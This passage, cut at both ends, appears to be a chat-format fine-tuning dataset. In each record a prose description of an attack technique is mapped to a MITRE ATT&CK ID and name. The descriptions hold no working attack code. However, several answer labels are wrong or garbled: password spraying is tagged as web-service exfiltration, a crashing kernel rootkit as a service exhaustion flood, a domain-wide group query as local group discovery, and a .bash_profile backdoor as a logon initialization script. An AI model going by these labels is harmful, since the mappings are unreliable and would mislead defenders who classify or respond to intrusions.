                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code duplicates a privileged token and rewrites its ParentProcessId to a non‑suspicious process ID."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Password spraying to gain access and exfiltrate sensitive data"
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker altered the 'TrustedDomain' objects in LDAP to reflect a new, attacker‑controlled domain, facilitating credential relay attacks."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors locate and copy backup scripts that include embedded service account credentials in clear text."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After lateral movement, the intruder accessed the shared drive and exfiltrated source code."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By passing the hash of a domain admin account, the intruder accesses network shares and executes scripts on multiple servers."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a kernel-level rootkit to cripple the operating system's kernel, causing crashes."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor registers a new device under a victim’s credentials, exploiting device trust to maintain persistence across password resets."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script iterates through a dictionary of usernames and passwords, submitting each to the site's sign‑in form without proper throttling controls."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged Windows Management Instrumentation to run a malicious PowerShell command on a compromised endpoint."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group uses compromised credentials to gain access to sensitive areas of a network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a compromised AWS Lambda function's execution role to read objects from a private S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages PowerShell to list all mounted drives and their file structures."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a malicious systemd timer that executes a backdoor script every 30 minutes on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage LoadLibrary and GetProcAddress in a loop to dynamically resolve and execute cryptographic APIs during execution."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the Image File Execution Options to include a rogue DLL in the AppInit_DLLs list, achieving persistence across system reboots."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a hidden .ps1 file in the user's Documents folder and adds a line to the PowerShell profile to run it on login."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a DNS amplification technique, sending spoofed queries to open resolvers to flood the target with amplified responses."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used stolen API keys to delete the firewall rules in a GCP VPC, effectively opening all ports."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion group leverages a compromised CI/CD pipeline to upload stolen source code to a Git repository."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the master boot record (MBR) to render the machine unbootable."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Windows API CreateService function to install a persistent service running as LocalSystem."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leveraged the \"chmod\" command on compromised Linux servers to set world-writable permissions on sensitive log files."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages capabilities by placing a malicious X.509 certificate in the system's certificate store, enabling stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the organization's API to download logs and audit trails from a central logging repository."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the 'sc config' command to set a kernel driver to start automatically on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs `dsquery group -samid *` on a machine to discover local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a signed firmware image, the threat actor bypasses verification and installs backdoor code."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects malicious code into the PubPrn service, causing it to execute a VBS script each time a print job is processed."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes Remote Services (SMB/SMB2) to launch a reverse shell on a target system."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing trusted third-party software for distribution of malware"
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerable API endpoint to upload a backdoor script onto the target's container."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable RDP service to capture plaintext passwords entered by users."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes mmc.exe to proxy execution of a signed binary, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs credential dumping on a CI/CD system to retrieve code signing keys for weaponization."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet was formed by infecting smart TVs, which were then used to mine cryptocurrency and fund further operations."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the GPO to enable SMB v1 and sets up a rogue server for data theft via the SMB protocol."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor installs a malicious print processor and uses the Print Spooler to run it with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits ptrace to gain remote code execution by injecting a shared library into a privileged daemon."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a newly created Reddit account to post encrypted instructions that infected hosts retrieve."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware calls the native Windows API DeleteFileW to erase forensic evidence."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the 'ldapsearch' command with '(objectClass=trustedDomain)' to locate trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a Windows API to programmatically set the system's power scheme to \"Never Sleep\" during a credential dumping operation."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in a VPN concentrator to replace the certificate-based authentication with a static pre-shared key that they control."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the DYLD_LIBRARY_PATH environment variable to point to a compromised .dylib, resulting in the victim process executing attacker-controlled functions."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a code signing certificate through a phishing campaign targeting certificate administrators."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script leverages the Get-Policy cmdlet to extract the current password history length and maximum password age from the server."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a malicious script disguised as a CLSID handler and invokes Verclsid.exe, causing the script to run with elevated privileges via system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor provisions a new service principal in Azure AD to access resources."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent threat modifies the user’s crontab to execute a stealthy keylogger script each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool bundles stolen data into a password-protected ZIP file."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user’s browser is automatically updated to a malicious extension from a hijacked extension marketplace, resulting in a drive‑by compromise."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain a cheap hosting account and use it to host a malicious payload update server."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors invoked GCP Compute Engine snapshot functionality via REST API to capture the state of a target VM."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains access to a SaaS vendor’s API keys and uses them to inject malicious scripts into the tenant’s environment."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor modifies the PATH environment variable to include a folder with spaces and no quotes, allowing a malicious program placed there to be executed via path interception."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module obtains the SAM database to collect hashed passwords of local accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts AS‑REP roasting by exploiting accounts that lack pre‑authentication, obtaining the encrypted ticket data for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved creating a custom role with \"iam.roles.update\" permissions in Google Cloud and assigning it to the attacker’s account."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team executed a signed but tampered executable installer to gain persistence on victim workstations."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker registers a malicious DLL as a Netsh helper and then runs \"netsh wlan add profile\" to trigger execution of the DLL with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encodes payload files using the uuencode format before writing them to the victim’s temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability to extract saved credentials from the Internet Explorer credential manager."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .bash_profile script in the user's home directory that launches a backdoor every time a new shell session starts."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group exploits the OS to perform a graceful system shutdown using the 'init 0' command."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits the SIP registration mechanism to load a malicious trust provider, enabling execution of unsigned payloads during system startup."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leveraged insecure configuration of the IIS application pool to inject a malicious web shell, achieving persistent backdoor access."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a cleanup routine that erases any trace of its persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By installing a rogue network provider library, the threat actor hijacks the authentication flow on Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spoofs the MAC address of a legitimate device to bypass network access controls and gain connectivity."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors changed the security group rules of a cloud VM to open port 22 to the internet, allowing unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code injects a kernel driver that sends ATA Secure Erase commands directly to the SATA controller, wiping the target drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the LSA configuration to load a custom SSP at system start."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary intercepts TLS handshake messages and injects a downgrade request, causing the client and server to negotiate a weaker cipher suite."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Docker Compose, the attacker defines a service that automatically starts a malicious container upon system boot."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool coerces the target system to use a legacy encryption algorithm with a known small keyspace, making brute‑force attacks feasible."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
